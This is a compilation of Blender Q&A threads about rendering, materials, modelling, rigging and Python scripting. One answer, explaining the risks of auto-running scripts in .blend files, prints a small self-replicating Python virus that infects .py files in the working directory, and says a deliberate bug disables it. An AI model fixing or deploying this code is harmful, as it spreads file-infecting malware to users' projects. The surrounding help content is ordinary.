Render result not the same as my 3d view The helix shapes are created using a screw modifier. Everything looks good in the 3d view (with render preview on)

but when I actually hit render.. the helix shape is not rounded, and has a funny hard edge look.

If you're using a subdivision surface modifier for the helix, keep in mind the modifier has different levels for previews and renders as seen here:

this may explain why your helix has a funny look when you render it


Is there a node that changes value based on ray brightness? I'm trying to make a tail light in Blender and I have the amber set up, and the red set up, but I need some way to make it so that the brighter rays that pass through my light cover material appear amber, whereas the rest appears red.

You set the physical properties of a material(s) and let the engine figure out how it effects light which when hitting camera creates the image. Not the other way around - how light affects material - that would mean that material could change (from metal to glass for example) under a light source.

The tail-light cover is made from glass, so for start use a glass shader with a light red color and a warm light source behind.

By modelling the glass thickness, you influence the travel distance of rays through the glass - the more distance the darker and more red the ray will be. The problem is that the default glass shader doesn't behave this way and doesn't absorb the light intensity while it travels through the glass volume.

For this you need to use a volumetric absorption shader with the glass.

PS. There are ways to cheat and actually use materials that magically change etc. but the volumetric solution is the best. You can study the fake absorption shader lineked above and how it does it with Light Path Node.


How to switch background image during video compositing? Greetings,
as you can see in the picture, I want this picture to be background image for my amateur video.
Any advices?

The order for the input sockets for the Alpha Over matters. In this case they are reversed and need to be switched.
The top socket is used for the background image, the bottom socket for the foreground (or image to be placed over using the alpha channel).

See:
Background image shows in front of 3D objects, not behind them.


Baking not working for complex material I'm currently working on baking the texture of a tower. I followed the steps highlighted in this other answer Blender 2.8 Bake multiple textures into one but at the moment of baking of the final object with the starting texture a strange thing happens. For the bricks texture the baking operation seems to work, but for the other 2 materials it seems not to grasp colors and their distribution. In one case the system understands only the noise texture of a portion of the material. For the second case it does not understand the material at all leaving me with a black result.
The two problematic materials are respectively:

black and white image texture use as "fac" between two different shaders, one a mixture of gray and white thanks to a color ramp (and a noise texture as Fac), the other a mixture between an image and white thanks to a color ramp (again with a noise texture as Fac).
A simple material with a color ramp between gray and white and a noise texture as Fac

[

Put a Diffuse node between your ColorRamp and your Output, otherwise it acts like an Emission and you won't be able to bake the material.


Connecting a face with another face along a specific curve I need to connect a face with another face of a different cross-section via a specific curve. The face at the start of the curve needs to morph into the face at the end of the curve along the way. Can someone please help guide me how this can be done in blender?

Thank you in advance for your support and best regards.

If it's a curve, then you'll need to convert the curve to a mesh by pressing "Alt+C".

Then choose "Convert Curve to Mesh".

Also make sure that each line of vertices has the same amount of vertices.

Press SpaceBar to bring up the search menu and type in "Bridge Edge Loops".

With both edges selected, click this function and the edges should form faces all the way along it.

I hope that answer provides your solution and happy modelling.

(EDIT)

Thanks for posting the screenshot of your problem.

This is rather more complicated and probably requires a bit more work than what I originally thought.

I made a pictoral tutorial, although I'm no expert on curves. I usually wing it though by playing around with the settings. Here's what I did to recreate your desired solution shown in the example below:

Here's the breakdown:

After I have all my edge loop cross sections, I apply the modifiers from top to bottom, in that order.

Then I join the edge loops (select them in object mode) with the main mesh (select the main mesh while holding Shift key and then press Ctrl+J).

In edit mode, I join all the edge loops together using "Bridge Edge Loops", then with some help from proportional editing, I spend 2-5 minutes playing with it a little (moving around some vertices or edge loops) and I also use "Smooth vertex" on some edge loops to smooth out the curvature which can be found in the ToolBar (T).

I hope this helps, and I'm sure this isn't the best or fastest workflow. Plus, curves are complicated and I'm no expert haha. There are probably better methods to do this but there are always 101 different ways to do things in blender. This is how I worked out the problem.

Good luck with it!


how to produce a Silk/Satin material I have two lamps, a plane with an emission shader and even world lighting turned on, why does my scene appear so grainy? I have turned up render samples, clamp indirect is now at 3.

What can I do to make a silky looking pillow that doesn't look so grainy? Plenty of screen shots below.

You appear to be using glass shaders with high roughness to produce a satin-like effect. Glass shaders can cause a lot of noise and would not seem an ideal fit for cloth (which is essentially opaque). You might be able to get a suitable effect using the Velvet shader or something like the following :

The satin is effectively a diffuse material with an element of glossiness - but glossiness that behaves subtly different to a smooth flat surface. In addition, the reflection off the glossy surface has quite a high roughness with a hint of the 'base' color (since the 'shine' is a mix of diffuse from some fibres of the cloth and glossy from others - so the usual dielectric rule of uncolored reflction doesn't apply here) - hence the Mix node to allow the reflection color to be adjusted. The Fresnel with a high value allows the amount of 'shine' to be adjusted and the Power node adjusts how the glossiness varies based on angle.


Select particular portion of an object Can anyone help me to do python scripting to extract only the vertices of particular portion of an object?
For example, if its a plane mesh I need to extract the vertices of leftmost portion of the mesh using python.

The following code uses local vertex coordinates:
For global coordinates you just multiply with "matrix_world"
Take a look also at the MeshVertex struct here:
https://docs.blender.org/api/current/bpy.types.MeshVertex.html

import bpy

mesh = bpy.context.object.data

bpy.ops.object.mode_set(mode='EDIT')
bpy.ops.mesh.select_all(action='DESELECT')
bpy.ops.object.mode_set(mode='OBJECT')

for v in mesh.vertices:
    #the location of a vertex is in MeshVertex.co as a Vector3
    #Therefore you can filter by comparing via index
    #here the z-Axis is beeing measured
    if v.co[2] > 0:
        print(f"v is selected: {v.co}")
        v.select = True


If I zoom to far out everything dissapears If I zoom out too far, all objects disappear, how can I adjust this so that I can see them from further away, so that the view is simply bigger?

Thx for our help

Press N to bring up the Properties Panel of the 3D View and open up the View Category. There you can find two values: Clip Start and Clip End as part of the View Panel. Just increase the End value to expand the Clipping Distance of the 3D View.


How to create vacuum packaging? I am trying to figure out, how vacuum packed sausages can be done in blender. The one you can buy in every grocery.

The sausages are not the problem, but the plastic packaging outside, which is normally really tight to its content

My first thought was to do it with a cloth simulation, letting a sheet falling down on it so the contours get visible. That will not work, because ... yeah it just looks like what it is... a sheet falling down on a couple of sausages...

The second thought was to use the shrink wrap modifier but that also will not work. If place a square under and over the sausages, the modifier only stretches the sheet also over the little gaps between the sausages. That doesn't look like accurate.

Is there maybe a way to let the content be a force to the surrounding package?

Its a bit complicated. The package behaves not quite like a second skin. You can see the plastic making an arc from one sausage to another but sticks very close to the content ...

Any other ideas?

On the left, a shrinkwrap modifier is used, and this is both shrinkwrap and cloth simulation on the right.

The left one

It is a UV sphere, rotated so that the poles are at the sausages extremities, scale to be close to the target and subdivided in order to fit the target more accurately. The idea is to create a surrounding shape so that it helps the modifier to project the vertices correctly.

Then a shrinkwrap with a little offset and set to 'nearest surface point'.

As you can see below, the gap between the two sausages is composed of stretches faces.

The right one

It uses both shrinkwrap and cloth simulation.

The shrinkwrap is this time set to 'project' and uses a vertex group: here we want to shrink/project only the needed parts:

The shrinkwrap is only here in order to level up some part of the mesh as if not the flat film may cut the sausages. But you can also sculpt/shift it up manually to avoid the modifier.

The cloth simulation uses a pin group and sausages are collision object:

After animation we obtain this shape:

Though, the blend file here uses Cycles and not Blender Render (as I don't know it enough). But I think the question was mainly about the film's shape.


Weight Painting: How to set weight for part of mesh for only one vertex group? My problem is that I use Auto-weight when connecting armature to mesh. This causes lots of unwanted weighting on close proximity parts.
Sometimes I want certain parts to be weighted by only on one vertex group. Say a bag (mesh) must only be connected to the hip (vertex group) and shouldn't have weight from other vertex groups.
Is there a way to quickly define the weight of the mesh for only one vertex group without going into other groups and removing the selected mesh?
OR
Is there a way to unweight (weight 0) on all the vertex groups save one?

If you select those vertices, then on the right of the Vertex Groups list, there's a dropdown menu (down arrow) > Remove From All Groups.


Animate Property gets activated whenever I move an object I think I must have changed a setting by accident.

Whenever I select an object and do any operation on it (move, rotate, scale, etc), suddenly the boxes in the Transform tab become yellow and the Animate property settings (The diamonds next to the yellow boxes on the right hand side of the photo) become activated.

I don't know what these are and what these do (I don't think they do anything atm), but I know this is not the default behavior.

How can I change this back to default behavior? (i.e. no yellow boxes, no diamonds)

Disable the Auto-keying above the timline.


Wireframe modifier resolution Basically I am asking what was already asked a year ago in this thread:
Create a rounded wireframe?

The question is basically unresolved an I thought that since a year ago someone might have an answer, or simply an idea about how should I go about doing this in my own case. The wireframe + subsurf technique, even with with a crease of 1.0, will create uneven thickness with pointy corners at the vertices, however much I play with the options, and also subsurf adds unnecessary edge loops, subdividing edges between vertices.

What I feel would solve the problem is a RESOLUTION option in the wireframe modifier in order to turn those 4-sided wire frames into cylinders. Just like the option you have with curves. I know you can convert the mesh to curve but that automatically results in disconnected topology. And the skin modifier is way too heavy and results in twisted topology as well as rounded intersections.

In more practical terms, here is what I want to achieve. I have this mesh you can see in the picture above, which is actually a floor. Everywhere you see edges, I would like to turn them into cylinders in order to make a nice pattern onto what is an otherwise quite boring floor. I could of course use a texture but I would like the pattern to be 3 dimensional, and a 4-sided wireframe just doesn't make it. It needs to be round. What would be the most efficient way to do this, without the ugly results of the wireframe+subsurf, skin, or curves?

You can use a sub-division surface modifier on top of a wireframe modifier. The trick is to enable 'Crease Edges' in order to maintain the crease in edges you don't want the subdiv to smooth out.

It should look like this:


Bone not in Dope Sheet I animated a model via pose mode and the Dope Sheet.  All was good.  Then I decided to add a bone.  I added the bone by extruding from an existing bone and all was good.  My weight paint appears good as I can move the body part (chin) that I want to move however I cant keyframe the animation because the bone isnt listed in the Dope Sheet.  How does one add or subtract a deleted bone from the Dope Sheet?

Thanks

Same answer as this post

Keyframes Not Showing in Dope Sheet

i, aka submit a keyframe, in 3d View first, this will add that bone to the dope sheet.


What are the security risks of leaving "Trusted Source" checked? I rarely uncheck "Trusted Source" (even when opening files downloaded from sites like this one), what sort of security risks am I leaving my self open to?

I know that with trusted source checked python scripts can automatically run, but what sort of nefarious things can happen?
This question does not shed much light on what could potentially happen.

Is it possible that just by oping a blend file that a virus could get installed?
Examples are welcome.

Since os and sys modules are shipped with blender, the script could manipulate your files on disk, write files or overwrite them.

It could save some dll libraries or whole programs on your system. It could be malware, sniffing programs, viruses etc.

An example virus by Deque looks like this:

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename):
   os.rename(filename, filename + "~")
   destination = open(filename, "w")
   source = open(filename + "~", "r")
   this = open(__main__.__file__, "r")
   for line in this:
      destination.write(line)
      if line.startswith("#MAGIC_STRING_9348788nkmsd"):
         break;
   for line in source:
      destination.write(line)
   source.close()
   destination.close()
   this.close()
def is_infected(filename):
   f = open(filename, "x")
   return f.readline().startswith("#MAGIC_STRING_skd83749872")
def find_and_infect_files():
   path = "."
   dirs = os.listdir(path)
   for filename in dirs:
      if filename.endswith(".py") and not is_infected(filename):
         infect(filename)
find_and_infect_files()
print "----------this is silly python virus----------"

This is a "harmless" code able of replicating itself. There is a bug in the code to prevent noobs from running it.


Convert a mathutils.Vector object into 3D coordinates I've been working with both Python and Blender for the first time over the past few days and keep running into these mathutils Vector objects which I have no idea what to do with. I can't figure out a way to convert a Vector into a plain X,Y,Z coordinate set that accurately maps to the Blender units, which I can use and apply to object.location

This:

<Vector (-1.0000, 1.0000, 1.0000)>

To:
    (x, y, z)

I have an object in the scene, a cube that has been resized into a box. I've made a mesh using bmesh, and am looping the edges and examining the Vector points. The problem is that they don't correlate to the blender units of the object I'm pulling them from in order to loop. Why don't the Vector coordinates translate exactly, what am I doing wrong?
I'm sure I'm missing something really simple - any help is much appreciated! :)

You access Vector object as sequence like this:

This functionality comes from python, it's called slice notation.

From API reference:

  Note: Classes, methods and attributes that accept vectors also accept other numeric sequences, such as tuples, lists.

You don't have to convert anything, both tuple or vector will work for object location:


Why doesn't Bendy Bones' Easing property work in pose mode? i was just familiarizing myself with the new Bendy Bones to plan a rig when i ran into this problem. ...gif below. it's unlikely that i caused it, cuz what you see is a really simple setup and the problem persisted every time i recreated the setup: add a bendy bone, add a mesh, weight. it's disappointing - i could really use that property.

edit: what i mean is that it's not affecting the mesh like Curve XY Offsets or Scale :]

however, you can see on this youtube video: https://www.youtube.com/watch?v=nQCo2AGRT6o, it actually works as it's supposed to. he's using 2.77.1 and i'm using 2.78.

Well it kind of works, as you can see in this Blend File here:

I say kind of because the limitation is that you have to set up the driver which he's using in the video. Looks like a dependency graph issue to me to be honest. This theory is backed up by two things:

if you transform the controller bone, and cancel that transform using Esc the bendy bone does not jump back into its original state (that's a bad bad thing)
if you run Blender from the command line using the  --enable-new-depsgraph switch, everything works totally fine, even not having drivers on the bone deforms the mesh as it should.

You could try having the controller bone in a separate armature object. That might help overcoming the dependency graph issue. Or simply run Blender with new depsgraph on as indicated before.


What does this icon mean ? and How can I erase it at once? Is this need ?
And How can I erase it at once?
I can not select all by shift + click in list.

Let's go one by one:

The 'icon' you're reffering to is a so called empty.
The ones in your file contain no geometry and are generally useless.
You can delete or hide them.

1) How to delete all these empty objects.
Press 'B' on your keyboard for box select. And then right click -> delete.

Be careful not to delete real geometry when cleaning up your file.

2) You can get rid of those black lines here:
Overlays->Relationship Lines and Overlays->Extras


Rectangular shapes in cylinders with subdivision surface What can you do to get clean rectangular shapes in a cylinder while using the subdivision surface modifier?

For the time being I've been trying to extrude them in the model and adding creases or support edge loops, but the end result looks weird even with an edge split modifier. The problem with support edge loops is that they affect other parts of the model that don't really need them and if I add some triangles to stop the flow things start to look bad.

After those problems, I added the rectangles separately by duplicating parts of the edge loop and adjusting them to the smooth form of the cylinder, but I was wondering how someone with more experience would tackle this.

Adding the rectangles separately is probably easiest. If you are stuck on adding it into the topology, here is what I got by using mark sharp, edge creases, and the cast modifier with a vertex group. (the base topology is simple enough to be self-explanatory)

If you want to remove all n-gons, you can add two loops and line them up with the top and bottom of the box. Then knife cut between them to get this:

One more trick...use the data transfer modifier to fix normals:


Is this good practice? Joining two objects after subdivision I would like to know if this is good practice in joining two objects (in my case a sword pommel with a handgrip).

The handgrip has a shade smooth and the pommel has a mirror and subdivision modifier.

Am I doing good to stretch the Pommel's mesh till it joins well with the handgrip (it appears correct when I switch to object mode)?

Is this correct practice, keeping in mind that I want to make all objects forming the sword a single object in the future?

I am asking to avoid possible future errors.

There isn't one right way, use what works best for you :)

You can either join objects into one object (CTRL+J) consisting of multiple meshes
Or even join into one mesh, with all vertices manually connected (seamless)

Example
This sword is one object consisting of multiple meshes

Easy to swap different parts
It resembles a real sword structure which adds to realism


What is this map, and how would I use it? This is another Splatoon Blender question that I have. It's regarding this texture that came along in a model. It's called "m_star_mfk"

My Splatoon Blender teacher told me that it's a "normal map that is supposed to disturb the shading normals of the object to lead them in random directions." I'm having some trouble understanding this, and even applying it. Can someone help with this?

It looks like a regular normal map to me, which is used to add texture to a surface without changing the actual geometry. A normal map contains surface angle information, and a bump map contains surface height information.

Here is a good article on normal maps: https://cgcookie.com/articles/normal-vs-displacement-mapping-why-games-use-normals

And here is a screenshot of a simple node setup for a normal map and what it looks like rendered on a simple plane with a point light in Eevee. I hope this helps!


Why is my render all blurry and pixelated? When I render out my blender animation project into a video file, it blurs, pixelates, and glitches in some spots. Why is this happening?
Is it because I'm using Ogg Theora with Vorbis as the format?

Example:

Blend file

Output video

The input is 1080p video composited with an animation. Don't know why it's pixelating so much. Is it compression?

Your video output looks so bad because of the low quality setting specified in the render output.

First Things first:

You should never render out your 3d renders as movie files, NEVER! The reasons for this are:

If you mess up the quality settings you will have to re-render from the beginning
If you computer crashes halfway through the rendering all render will be lost and you will have to start over

The only time when you would want to render out a movie in blender is when you have an ready rendered animation as an image sequence and you want to convert it to a single movie.

The proper way:

Render out your animation as an image sequence. The output files should be a very high quality image which is why I would use either: png, tga, exr or whatever will yield a good looking image
In the blender Video Editor load the image sequence as an image sequence.
Now render out as a movie

Back to the actual question. You need to increase your render settings. Here are the important parameters you need to consider increasing:

Format

Bitrate: The target amount of data per second in your video file
GOP: The number of key frames for the color palette. A value of 10 means that during those 10 frames all are drawing frames based on the same 256 colors. If your scene is changing color during this time the quality will suffer.

Rate

Minimum: The lowest the Bitrate can be per second
Maximum: The highest the Bitrate can be per second

I think in your case the following settings would yield satisfactory results


No cycles engine in opensuse? I am using opensuse 13.1, and blnder 2.67b. In my blender there is no cycles renderer. I tried in the preference to enable it but it says that the cycles script is missing. How do i install the cycles render engine in opensuse??

Yeah! That solved my problem, i downloaded the blender2.71.tar.gz2 version from blender.org and it have the cycles engine, though the tarball zip does not contain the installation. It have the self dependent blender package, just needed to be extracted. The site says the glibc2.11 is required, but my blender is working. i guess my os already have that. Thanx bro for helping me.


How do I make one object hit another and make it move? I can't seem to figure out these rigid body settings. A group of objects are parented to an empty, and I want the empty to bump into the ball and make it roll. I'd like that to be repeated a few times. I tried to put a rigid body constraint on the empty and select both the ball and the body of the figure (blue shape in red) but still nothing. When I do just put a rigid body on the blue shape and ball, they both just float away.

They are going to float away because they don't have a floor. Make a plane (size it to however big you want) and apply the rigid body to it, making it passive instead of active. Place the plane just below your objects.

After that, you should animate the blue object to hit the ball. Click "animated" in the rigid body settings for the blue object then animate it to hit the ball. You can animate the blue object to bump into the ball as many times as you want, but make sure that the ball stays on the plane. If you hit the ball too far, it will fall off the edge of the plane.


How to select a loop of faces I am trying to select the loop of faces that you see partially lit all around the sphere. Please note that I am able to do that for all the other loops by clicking on alt+rmb. Whith these thinner sliceses (that i obtained by adding loop cuts). I have tried in any way also searched the web and videos, but wasn't able to find a way out.
Any suggestions please?

This is an old question, but in case anyone else has this issue in the future:
Loop select with alt+click will choose which loop to select based on which edge the cursor is closest to.
To select smaller slices, hover the cursor over the shorter edges of the faces when selecting.


Can I use blender as a photo and video viewer? I want to know If I can use blender as a photo and video viewer?
Like If I have a photo on my computer I just have to press "open with" blender and blender automatically open on the UV image editor if it is a photo or on the video editor if it is a video.
If not can this be done by a script or something?

Blender can be a useful image viewer for some formats like multilayer OpenEXR. I just expanded a bit on Chebhou's answer by creating a python script that calls blender, I expect this can be used on any *nix platform included OSX and possibly even windows.

The script that gets called or set as the application to open image files is -

#!/usr/bin/env python3

from subprocess import call
from sys import argv
import os

sdir = os.path.abspath(os.path.dirname(argv[0]))

calllist = [
    'blender',
    '--factory-startup',
    os.path.join(sdir, 'blend_image_view.blend'),
    '--python',
    os.path.join(sdir, 'blend_open_image_file.py'),
    '--',
    ]

# add the args we get as filenames
calllist.extend(argv)

call(calllist)

The factory-startup and blend file can be removed from the list of options sent to blender. I have blender setup to start with a window that fills two monitors, that doesn't work as well when used as a simple image viewer. I also setup a start file that has two simple layouts for image and movie viewing, leaving a window clear of any excess.

The main working script I adjusted a bit to handle multiple files. When multiple movies are opened I have them in separate channels, with all but the first video muted. I really don't think blender is a good choice for video viewing, this could be improved by adding a way to extract frame rates and resolutions to setup blender to match, which doesn't work well if you open multiple videos with different frame rates and sizes.

import bpy
from sys import argv
import os

# change these two values to match screens names available
# UV Editing
blenderImageScreenName = 'ImageViewer'
# Video Editing
blenderMovieScreenName = 'MovieViewer'

acceptedImgFiles = ['.bmp', '.cin', '.dpx',  '.exr',
                    '.hdr', '.jpg', '.jpeg', '.jp2',
                    '.j2k', '.png', '.rgb',  '.tga',
                    '.tif'
                    ]
acceptedMovFiles = ['.avi',  '.flv', '.h264', '.mov',
                    '.mpeg', '.mpg', '.mp2',  '.mp3',
                    '.mp4',  '.mkv', '.ogg',  '.xvid'
                    ]

fileStartIdx = argv.index('--') + 2
numFilesToOpen = len(argv) - fileStartIdx
showAreaType = 'image'
curChann = 1

for i in range(numFilesToOpen):
    filename = os.path.abspath(argv[fileStartIdx + i])
    ext = os.path.splitext(filename)[1].lower()

    if ext in acceptedImgFiles:
        bpy.ops.image.open(filepath=argv[fileStartIdx + i])
    elif ext in acceptedMovFiles:
        # while we will open video files, blender isn't the best option here
        # When opening multiple videos, each video is imported into a new track
        # tracks after the first will be muted to prevent a terrifying
        # mess of multiple audio tracks
        # end frame is set to the longest video track imported
        # frame rate is left default and will need to be adjusted for each video
        nc = bpy.context.scene.sequence_editor.sequences.new_movie(name=argv[fileStartIdx + i],
                filepath=os.path.abspath(argv[fileStartIdx + i]), frame_start=1, channel=curChann)
        if bpy.context.scene.frame_end < nc.frame_duration:
            bpy.context.scene.frame_end = nc.frame_duration
        # I expected new_movie() to import video and sound
        # but that doesn't happen so we also add sound from the same file
        nca = bpy.context.scene.sequence_editor.sequences.new_sound(name=argv[fileStartIdx + i],
                filepath=os.path.abspath(argv[fileStartIdx + i]), frame_start=1, channel=curChann+1)
        if curChann > 1:
            nc.mute = True
            nca.mute = True
        curChann += 2
        showAreaType = 'video'
    else:
        print("Don't know what type of file this is -",filename)

if showAreaType == 'image':
    bpy.context.window.screen = bpy.data.screens[blenderImageScreenName]
    # make first image active
    for area in bpy.data.screens[blenderImageScreenName].areas:
        if area.type == 'IMAGE_EDITOR':
            area.spaces.active.image = bpy.data.images[0]
else:
    bpy.context.window.screen = bpy.data.screens[blenderMovieScreenName]

Save this as blend_open_image_file.py to match the filename set in the first script.

The list of extensions can easily be extended.

I thought I would keep a copy of this on github which also has the blend file mentioned above if anyone thinks it can be improved.


How to create a realistic looking Ink spill from a bottle? I've been working on a project for the past couple of days and I would like to know a way to create a realistic ink spill/splash from a bottle.
I tried using Mantaflow and it came out looking like this.
It doesn't quite look like ink. I used the viscosity of water and also reduced the upres value.

What I'm actually looking for is something like this or atleast close to it.

I would also like to know how to create the tiny particles or residue inside the bottle left by the ink. I tried duplicating the entire inner portion of the bottle and adding another material to it. But it doesn't work.
I hope somebody looks into this.

You could also try volumetrics and an image texture.

Use an image texture for the color bleed
Give your ink spill a Glass Shader and a Principled Volume shader
Use a texture to drive the volume's Density (there's more ink on one end)

Ink spill node setup using Principled Volume


How do you assign multiple shrinkwrap modifiers to rig muscles? I'm in the middle of porting my rigging tools from other animation software over to Blender and was wondering how to use the shrinkwrap modifier to achieve muscle deforms, such as what JP Bouza did in BlenRig 3.  Right now, I really don't know how to apply multiple shrinkwrap modifiers to a model to achieve this.  The modifier stack doesn't work in parallel (yet; this might change with the new Depsgraph, but not right now).  So, the effects of each shrinkwrap modifier cascades over to the next in the stack.

Is it s magic combination of vertex groups?  If so, how does one weight paint to each shrinkwrap modifier?

What I do for muscles rig is that I have 2 Armatures and 2 Meshes:

All muscles as 1 mesh with rig
Character mesh with rig

That means no muscle groups and no clutter in scene and character and only 1 shring-wrap modifier.

The muscle rig bones are parented to character rig with Child Of constraints. This also allows for muscle layering.
The individual muscle jiggle is controlled with 1 vertex group for soft-body goal.
Each muscle has its own shape-key controlled with muscle-rig bones.
Character mesh has only 1 shrink-wrap with vertex-group only for muscle-bulging strength.


My Alpha channel doesn't show I tried to create a transparency but couldn't get it work.
What is that I did wrong? :)
The black background is still there and not getting transparent.
I also tried to invert the shaders in the mix shaders but then averything disappears, even the white and red surfaces.

Your alpha channel is mostly white. try to make it better or use this trick to use the black color as black alpha.


vanishing displacement maps shortly after baking While working in Blender 2.72b Internal mode, I built this simple model

I used these settings to bake the displacement map

I got this result after baking and using the Displacement Modifier, along with a few more modifiers... Note that I applied the Displacement Modifier shortly after I set it up.

OK. So I was happy with the results I was getting in my initial study, so then I decided to keep building on this process. I built a more elaborate model, set up like this:
here are my results with a few more modifiers in the stack

Some time passes as I work with the model. At this point I make a full copy of the scene so that I can branch off on a new idea with these current assets. I bake the previous model the same way I have been, with these results:

At this point I want to move to Cycles Mode so that I can start building materials, light the scene and give it a render.
Now I am in Cycles with a material applied, lights and camera set:

Here is the result of the rendering:

I know it's not pretty, but when I came back to the project a little while later, all of my displacement maps have vanished. My models and displacement maps look like this:

and

I have been working through all of my steps again so that I can capture screenshots and write this post; as of now my second set of baked Displacement maps have all turned black.

Are displacement maps temporary, only to be applied shortly after baking? Or is something happening after switching to Cycles, and then rendering?

Does anyone know what is going on here? Is this a bug or a known feature?
Any help would be great, thank you.

-Joshua

ps. sorry for the long post, this was just not a good user experience for me and I want to help improve it.

You need to save all images (also created textures) to an image file F3 (Menu: Image / Save As Image) otherwise all changes are lost. Blender indicates an unsaved texture in the UV-Editor with an asterisk at the Image Menu Item.

Another option would be to pack the image into the .blend file.


Color Management. What is the difference between display device, view transform and sequencer? All these settings are found in the color management section. I hear that filmic is the best to use, and it has filmic default for the view transform. But under sequencer sRGB is default. Under display device the default is set on sRGB with no filmic option. could someone please explain what the different terms display device, view transform and sequencer mean?

I hear that filmic is the best to use

Don't just trust what you hear, or rely on other people's opinions. You can make your own informed decision if you understand how filmic blender works, and then you will be able to harness that information for your particular artistic needs.

Filmic works for rendered scenes that use a large dynamic range, but it might make other images look completely wrong.

Start by reading Render with a wider dynamic range in cycles to produce photorealistic looking images before you continue.

Are you back from reading the link?

The main concept to understand is how the filmic blender color transform uses a completely different scale to convert the rendered information than the "default" (sRGB) transform. In other words the filmic blender transforms are designed to convert scene referred data to display referred using a much larger range of values. More on that later.

Now on to your real question:

  could someone please explain what the different terms display device, view transform and sequencer mean?

Display Device

The value here depends on what kind of monitor is attached to your computer. This settings controls how color values are presented on your screen.

sRGB or default. Most monitor display images using sRGB. Use this unless you know that your monitor is of a different kind.

DCI-3P Those with apple monitors and imacs from late 2015 or later, or with monitors or professional projectors that use the DCI-3p color space would need to choose this option

Rec-709 If you are using ah HDTV as a computer display, most likely you need to choose Rec-709

"None" should be used when you want to export an image without any color device transforms. Useful for those who want to export images using a linear scale (or a "gamma" curve with value 1), like bump maps or normal maps.

Why does it matter? An image that is meant to be displayed in one type of monitor will look wrong or different if displayed in a monitor that is expecting other kind of information.
View Transform

The controls in this section determines the conversion from scene referred data to display referred data is done.

What does that mean?

Rendering and compositing is best done when the scene values use an unlimited linear scale (scene referred), which corresponds to the way things work in nature, and makes computations more physically accurate. However, these values do not directly correspond to human perception or the way display devices work. In other words, a scene might contain more information than the one that can be displayed or stored in most image file formats. So a conversion has to take place to make the generated scenes viewable in a way that our eyes understand correctly, but they also need to be stored in a format that can only accomodate a very small amount of information. The view transforms will scale and bend the original linear values so that then they can be stored and displayed correctly in specific devices. Once the images have gone through this transformation, their values will be in what is called display referred data.

Some of the view transform choices

Default Does no extra conversion besides the conversion for the display device.

Filmic For more photorealistic results and better handling of high dynamic range. The contrast can be adjusted by changing the Look option for the Filmic view transform.

Raw Raw bypasses any color space conversion.

Log Intended for exporting images as log encoded.

False Color Shows a heat map of image intensities, to visualize the dynamic range. Dark areas will show as dark blue, mid tones will be green, red areas will be shown as red, and values outside of the displayable range will be shown as white.
Looks

Looks are additional transformations that are applied after the view transform to have different artistic effects. In the case of filmic it gives you a more nuanced control on the overall contrast of the scene.

Sequencer
The color space that the Sequencer operates in. By default, the Sequencer operates in sRGB space, but it can also be set to work in Linear space like the Compositing nodes, or another color space. Different color spaces will give different results for color correction, crossfades, and other operations.

Keep in mind that the sequencer works for the most part with rendered images and video files that are already in a specific color space (most likely sRGB), so unless you know that your sources come in a different color space you should leave it at the default.

So why not use filmic for the sequencer? Unless your images are saved as Scene Reffered using a linear scale (like OpenEXR files), it makes no sense to process them using color transforms that expect a much large dynamic range. If you use filmic blender to display an image that is meant to be seen using the sRGB it will look dark and the colors will all be wrong, whites will show as very light gray.


Exporting issues (no thumbnails in windows explorer) I've constantly had problems with video encoding when I'm looking to make wallpapers for wallpaper engine. I've tried asking on the forums on steam but they (literally the developer) aren't sure what's causing the issue so I'll give it a shot here. When I export a video with these settings here:  I get finished videos that do not have thumbnails in windows explorer. They end up playing fine in VLC but won't upload into Wallpaper Engine. In the past I've actually given up and exported videos as AVI and then used a converter to convert them to mp4. This obviously reduces the quality and on the video I'm currently working on I don't want to sacrifice quality. Looking through the forums the only advice I can see is to use H264, and any mp4 file should work, so I'm wondering if anyone has any ideas on this end.
To go over a couple things quickly:

It isn't a size restriction
Any videos with thumbnails upload fine but ones without are what is causing the problem which leads me to think it may be metadata or encoding?
I see issues on the steam forum with other people experiencing similar issues and it turned out to just be a local thing, updating video driver fixed it for them (done that and no luck) so I am open to ANY ideas, no matter how out of the box.

Thanks,

I made some tests but the lossless output did not show the thumbnail.

I think the best solution is using the high output encoding.

See the images using medium, high and lossless values:


Selecting faces on object from UV editor window I can't see this as an option so is there a way to select faces or islands and have them show up as selected faces on the object in 3D view.

In programs such as maya it is possible to work from either view and makes selection and mapping a little more user friendly.

I suspect it isn't possible in Blender but welcome your feed back.

Edited as flag as already answered, although the question was not asked in the other post in a way that showed in my search.
I was looking for face and island selection to show in both views. The other asked about unselected vertices this obviously did not appear in the results.

There's a button you can check to sync edit mode mesh selection with the uv editor:

Enable it, then select a UV face in UV editor and see it selected in View3D!

It doesn't work however for UV islands, and as you enable it, the selection in the View3D takes precedence over the UV selection. That's for sure something to be improved.

For Blender 2.8

The button to toggle 'sync' is as shown below:


Can I import data points into Blender? I have a number of relatively straightforward line charts, such as this:

It would be great if I could somehow import the data points into Blender, perhaps to define a curve, to allow me to produce some cool looking data visualisations.

Apologies if I've not been clear in my question, any help is appreciated!

Thanks,

Alex.

You can use the 'from_pydata(...)' function to create a mesh. This function accepts a list of vertices, a list of edges, and a list of faces.

The vertices should be formatted as a list of X,Y,Z triplets (defining each coordinate in space) while the 'edges' and 'faces' define which of those vertices are linked (by specifying the index in the list of vertices (with 0 being the first in the list, 1 the second, etc.)). Edges can be empty if you are defining just the Faces and similarly Faces can be empty if you are defining just the Edges).

To illustrate, the following example will create a new object (a skewed pyramid) with 4 vertices and 4 faces :

    import bpy

    bpy.ops.object.add(type='MESH', enter_editmode=False, location=(0,0,0))
    o = bpy.context.object
    o.name = 'myobject'
    o.data.from_pydata([(0,0,0),(1,0,0),(0,1,0),(0,0,1)],[],[(0,1,2),(0,1,3),(1,2,3),(0,2,3)])
    o.data.update()

The first argument to from_pydata ("[(0,0,0),(1,0,0),(0,1,0),(0,0,1)]") defines the 4 vertices in space while the last one ("[(0,1,2),(0,1,3),(1,2,3),(0,2,3)]") defines the faces (ie, the first one being between vertex 0, vertex 1 and vertex 2).

For your particular case you should be able to use your raw data to generate a set of vertices and then use the Edges argument to define the Edge between those vertices (ie, 0 to 1, 1 to 2, 2 to 3, etc. along the chain - ie, "[(0,1),(1,2),(2,3),...etc..."). Once created as edges you could then simply add a Skin modifier to convert it into a solid mesh.

See http://blenderscripting.blogspot.co.uk/2011/06/using-frompydata.html and https://wiki.blender.org/index.php/Dev:Py/Scripts/Cookbook/Code_snippets/Three_ways_to_create_objects for some further examples.


Blender 2.8 How to rotate viewport 90 deg after Shift +7 It is in Blender 2.8
